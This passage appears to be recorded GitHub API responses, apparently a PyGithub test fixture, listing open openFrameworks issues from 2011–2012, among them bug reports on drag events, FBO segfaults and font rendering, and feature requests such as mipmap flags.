Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":836,"html_url":"https://github.com/openframeworks/openFrameworks/issues/836","assignee":null,"title":"0073 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-04T00:08:35Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2439965,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T09:03:22Z","body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","comments":0,"milestone":null,"number":831,"html_url":"https://github.com/openframeworks/openFrameworks/issues/831","assignee":null,"title":"dragEvent() in new class not working in win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-12-03T08:51:42Z","state":"open","user":{"url":"https://api.github.com/users/decolector","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","login":"decolector","avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":390056},"id":2436532,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T16:28:49Z","body":"Dummy issue to ensure that the 0072 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/829","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":829,"html_url":"https://github.com/openframeworks/openFrameworks/issues/829","assignee":null,"title":"0072 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-02T16:28:49Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2429871,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-29T17:54:48Z","body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","comments":2,"milestone":null,"number":825,"html_url":"https://github.com/openframeworks/openFrameworks/issues/825","assignee":null,"title":"small font sizes yield oversimplified glyph shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-29T08:26:16Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2380571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-19T07:01:47Z","body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","comments":5,"milestone":null,"number":822,"html_url":"https://github.com/openframeworks/openFrameworks/issues/822","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-28T06:48:27Z","state":"open","user":{"url":"https://api.github.com/users/momo-the-monster","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","login":"momo-the-monster","avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":737888},"id":2364541,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-28T18:48:58Z","body":"It'd be nice if ofRectangle used a ofVec2f or ofVec3f internally so you could do the something like:\r\n\r\n
\r\nofRectangle myRect;\r\nofVec2f vel(-1, 2);\r\nmyRect.pos += vel;\r\n
\r\n\r\nNow I'm not saying drop the x and y member vars, but link them to the ofVec internals thorugh either a union or reference. A reference would be easy through the constructor:\r\n\r\n
\r\nclass ofRectangle {\r\n\r\n   public:\r\n\r\n     float &x, &y;\r\n     ofVec2f pos;\r\n     ....\r\n\r\n\r\nofRectangle::ofRectangle() : x(pos.x), y(pos.y) {\r\n\r\n...\r\n
\r\n\r\nThis way we get the best of both worlds without broken code ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/821","comments":3,"milestone":null,"number":821,"html_url":"https://github.com/openframeworks/openFrameworks/issues/821","assignee":null,"title":"suggest: ofRectangle internal ofVec","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-26T20:19:31Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2356801,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-01T18:13:35Z","body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","comments":2,"milestone":null,"number":819,"html_url":"https://github.com/openframeworks/openFrameworks/issues/819","assignee":null,"title":"datapath messed in windows after using file open dialog","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-11-22T10:50:13Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2316595,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-02T15:19:58Z","body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","comments":1,"milestone":null,"number":818,"html_url":"https://github.com/openframeworks/openFrameworks/issues/818","assignee":null,"title":"#defines for modules ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-21T16:45:51Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":2306518,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-17T15:17:10Z","body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","comments":3,"milestone":null,"number":815,"html_url":"https://github.com/openframeworks/openFrameworks/issues/815","assignee":null,"title":"Examples in devApps folder do not compile. Missing glew.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-17T13:45:47Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2268829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:30:18Z","body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","comments":2,"milestone":null,"number":814,"html_url":"https://github.com/openframeworks/openFrameworks/issues/814","assignee":null,"title":"Suggest adding some info about Lion to readme.txt","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-17T11:48:32Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2267854,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-16T04:46:48Z","body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","comments":1,"milestone":null,"number":811,"html_url":"https://github.com/openframeworks/openFrameworks/issues/811","assignee":null,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-13T20:49:26Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2223158,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T18:51:38Z","body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","comments":2,"milestone":null,"number":810,"html_url":"https://github.com/openframeworks/openFrameworks/issues/810","assignee":null,"title":"Add flag for mipmapping in ofTexture/ofFbo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-11T07:34:53Z","state":"open","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2206980,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4937'), ('content-length', '49276'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"362300e7c4c0fc8f170b2c345084dfad"'), ('date', 'Tue, 29 May 2012 19:27:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T23:58:48Z","body":"right now it's inside ofMath.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","comments":3,"milestone":null,"number":800,"html_url":"https://github.com/openframeworks/openFrameworks/issues/800","assignee":null,"title":"ofInsidePoly should be a static method of ofPolyline","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-30T04:16:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2089523,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:31:07Z","body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","comments":2,"milestone":null,"number":798,"html_url":"https://github.com/openframeworks/openFrameworks/issues/798","assignee":null,"title":"ofRect isn't quite rectangular","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-10-29T06:38:43Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2086039,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-29T02:37:28Z","body":"we're working on some ideas regarding procedural animation and posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","comments":0,"milestone":null,"number":797,"html_url":"https://github.com/openframeworks/openFrameworks/issues/797","assignee":null,"title":"procedural posing of bones in ofxAssimpModelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-29T02:37:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2085543,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"this fails to display any text:\r\n\r\n\tofBackground(0);\r\n\tofSetColor(255, 254);\r\n\tofDrawBitmapString(\"this text is not displayed\", 10, 20);\r\n\r\nthis is because line 448 of ofBitmapFont.h reads:\r\n\r\n\tglAlphaFunc(GL_EQUAL, 1.0f);\r\n\r\nwhich should be changed to:\r\n\r\n\tglAlphaFunc(GL_GREATER, 0);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/795","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":795,"html_url":"https://github.com/openframeworks/openFrameworks/issues/795","assignee":null,"title":"ofDrawBitmapString does not work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-27T09:50:07Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2066090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-25T23:39:09Z","body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","comments":1,"milestone":null,"number":793,"html_url":"https://github.com/openframeworks/openFrameworks/issues/793","assignee":null,"title":"easyCam -- ability to disable doubleClick reset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-25T23:36:40Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":2051692,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:53:12Z","body":"when drawing certain shapes i get crashes, debugger claims a tessellator issue pointing to \r\n\"if (!tessTesselate(cacheTess, polyWindingMode, TESS_POLYGONS, 3, 3, 0)){\" in \"performTessellation\" function in file ofTessellator.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/789","comments":1,"milestone":null,"number":789,"html_url":"https://github.com/openframeworks/openFrameworks/issues/789","assignee":null,"title":"crashes with tessellator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-21T14:49:12Z","state":"open","user":{"url":"https://api.github.com/users/ruim","gravatar_id":"18875575931764c674b5fc64ae8b7274","login":"ruim","avatar_url":"https://secure.gravatar.com/avatar/18875575931764c674b5fc64ae8b7274?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480525},"id":2016194,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-19T22:39:37Z","body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","comments":0,"milestone":null,"number":787,"html_url":"https://github.com/openframeworks/openFrameworks/issues/787","assignee":null,"title":"half edge mesh structure extension of 